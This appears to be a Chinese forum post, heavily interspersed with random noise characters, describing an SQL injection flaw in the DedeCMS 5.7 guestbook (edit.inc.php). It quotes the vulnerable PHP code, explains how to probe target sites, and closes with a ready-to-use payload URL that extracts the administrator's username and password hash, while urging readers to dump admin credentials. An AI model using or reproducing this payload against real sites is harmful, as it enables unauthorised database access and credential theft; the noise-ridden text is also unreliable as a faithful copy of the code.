影响版本为5.7
, {: H F: Y3 C7 ^* \) ~( w+ [3 c8 A; T
漏洞文件edit.inc.php具体代码:
; p+ F6 [' j, E9 S% S+ ^& n4 Q" J$ [! ~ S* Z! |6 v4 D9 c. w
< ?php
- |9 I- k* L8 D) w/ a q5 X$ @& K, F4 |, T
if(!defined('DEDEINC')) exit('Request Error!');
$ }5 G% g2 K& y+ L6 @" O K
. r8 R" w( E* `6 L: Q, _' O
; H# y; \ u1 e1 C) K* d# y( ^: @6 g
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; @- |( f" W0 S0 D0 |
& Z2 q. a& b; }) Q
else $GUEST_BOOK_POS = "guestbook.php";
* U( N8 G4 h( b1 j4 |# d
2 T" N4 R5 I, r / {0 s; x1 [! ~# {$ A9 g- b
% h: @' h* `0 j$id = intval($id); ; w' `8 r* Q- I. b; y" t5 |
2 a M" d! R4 r6 G& p/ ^9 dif(empty($job)) $job='view'; 8 r: x$ E7 H3 P
; a4 D0 x, @& T+ R" } . `5 T3 Y( v: S
; T) R5 B. E9 R1 ?) B3 Pif($job=='del' && $g_isadmin) + K) H$ i$ _+ W6 q; ]% [ t* V
! }3 p% E* G. L* O! ?! i0 d) ~) I
{ 1 k9 _3 K! n8 Z( S7 t( H0 ~
& C- |5 w$ \5 x/ R1 Y* c# \
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); & W: s, N7 }: {. L0 Z
W0 `: {+ F0 V
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
! l( d& X# P( t4 Y
* i/ m$ O' t6 m5 Kexit();
4 S% I8 ^2 c5 n4 H+ E- G' p1 d& p( L6 U1 U1 H7 _% |9 ~
}
; _. x1 Y: _+ j" ?: B" ^" w, m: j! d0 q& u! m; s
else if($job=='check' && $g_isadmin)
( T3 ^! {6 ?6 y+ p4 n) i
: k M7 A8 b, G6 h% D{
& i8 \3 I' B9 o' ?7 y- ~2 a8 G1 p) ]8 r6 V$ d& o0 A5 r
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
6 a, H: O% u; ~; R. [1 Z: l& g. R4 C, p; U
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); j/ K5 c+ S, w3 V8 P: b
2 T, f' {3 N3 j0 x$ y9 K: xexit();
3 D4 H5 M+ g% b% H* d3 F/ D6 c8 u( [ S, P
} 5 q/ Q( Y% J. i; B7 W- Q1 }, T
+ N3 v4 `$ y% I1 C( Felse if($job=='editok')
& a2 u8 X: Q! P% R% X; q" U* a* P" X0 ^2 i5 J4 Z
{ S! h; Q8 {; q# G& ]5 U" X( ^
! k" a5 u3 p1 z5 ?' a# b$remsg = trim($remsg); $ J! r, Z) f- x: V
! m; r3 a* R5 ?3 x0 ^$ I
if($remsg!='') ; W; j! E$ ?: e( i& D% F
( U$ S% K! z5 I
{
! G# ?4 Q8 P8 H$ R$ M/ R: Q) W, ]+ t5 i1 @7 t9 G
//管理员回复不过滤HTML By:Errorera blog:errs.cc
" ]7 Y5 D% k" {# J! h, P! g0 q0 \9 Z, @; @3 R& i$ R
if($g_isadmin)
% I3 K& a: F$ P4 v, C
9 I( G% J- ^( b2 V{
0 E' `) Z! r3 P) K0 s% J. T1 `
) d/ @8 G( I+ o8 X( _. I3 u; y$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
$ B1 v6 O# X' _* ^1 W8 ]8 X/ @ Y- ]) O x' C
//$remsg <br /><font color=red>管理员回复:</font> } * L7 l( b: ~0 ]: j/ o) g' I1 K- C* C
7 Q$ G Q; A2 g% W! J8 z5 j9 \4 p
else - i/ c) ?3 Z5 U2 o6 ]% A& f
4 U% p2 f. D# K- c8 g
{ $ Q; C( A, U) C2 |; P- k' U
/ b9 D: Z$ O9 Z$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); . [- ^ g) f! }. \3 v5 D. a
+ H" B5 K2 m3 v6 I) f: v. p$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; & Q" b& B: G: \1 P
B* }5 r) W L; i- g: M% r+ c
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); - T7 x0 ^5 D; A
: B3 G& k$ }4 Y# ~$msg = $oldmsg.$remsg;
# T9 y$ g$ ?- O! R, k7 P9 p, u6 y' z$ h! C9 y
} ! D8 s( b' s% d; ^0 [
3 u4 s+ W9 {) X) I g" ~* n}
x* [8 F4 D, \6 n0 R* h
' L* p- X8 ?& j0 H# J K4 Q9 O* {( T//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 2 }& a" S' ]; g2 u. y
$ X1 G. p$ z/ j4 \$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
# T1 T4 d- Q& T6 u- {$ r3 [7 a5 F- |
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
7 d" `. a$ T% M6 E) s3 v' K/ r( W- T7 U, U- C( \; y
exit(); 5 e! J- f( f. ]5 i' t
) V9 o# p. Y7 ~# R, p: S; g# k3 t9 j/ i
}
1 @& U6 S6 _! H' O3 y6 h$ S; g& s+ S2 k; n9 { J' L2 ?* s0 D0 C
//home:www.errs.cc
. B+ i' O$ m& ]+ `4 ^" W% J
9 }' S' i7 Y0 ~# lif($g_isadmin) 7 {. f5 q2 m( R) h
+ ?& g5 p; ], y
{
$ d# P, I5 p' K( ^' J. S# l
' z6 h; g& Y/ B$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); $ R6 M h s( }1 N( F) U [0 ?
4 Q% C$ j+ i& { X0 A
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
* Z0 J. d' E* M/ C) g$ o8 { a
1 P) Q, c; X- v$ X- T}
7 p8 t+ }$ b& F4 P. ] \' Z. m; z6 j- v4 O; J4 @
else
4 o5 e9 \- B6 I% c3 w8 x7 O5 `. P
' A7 `6 h$ e: B9 t7 e. G( Q; O& k- t{
0 l6 k- V7 {* P2 j2 j( B6 E) @3 t- s0 y
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
" H5 R( p, O: t. ]( f% {; [( N
* I) f6 Z6 S* [require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); $ \, M; x, T& a* s! ?
5 w) ~$ ^" J6 |7 u2 g4 f} 漏洞成功需要条件:% H9 ~. V' Y( N' v! w4 y
1. php magic_quotes_gpc=off( h+ l" A/ r, g9 V }
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
2 e, e: y1 r; k/ j
$ ?! Y& ]5 Y) Z% J; C- Z怎么判断是否存在漏洞:
: X: K6 v' v* H7 c2 [, @先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
+ X5 p- K" h0 i, C. {4 m0 u5 @+ M然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 T! D) o' y% g" ^& @访问:
4 l8 j# j" X) n) w# \+ {
9 [# Q+ m% S7 O7 A8 [www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了3 {/ R1 G3 A- W) p. b, |8 f
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证; B/ l5 H& H! r( K
$ Z8 Y. S0 `9 S" p( a1 Z; x8 H6 k
) \" l. Q9 \8 y' D+ `3 r3 p
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off! b3 k# H/ C; y
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。; G# U( J8 m5 d- W0 V3 _3 {. D) n
那么再次访问
$ j% d6 I6 L0 v# l# Y
% X( X" j! Y z9 [/ Gwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().4 ^5 ~9 R% ?0 J) B/ W% F
' G8 F/ [% T' ?3 K* I% T大概利用就是这样,大家有兴趣的多研究下!!
. l; A/ k) j0 t' P. o" u* K( e0 T+ H& I5 r1 k
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
$ M- E; j, w4 k; b5 b# V0 s. l$ k# U. r" _. Q: l& y
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |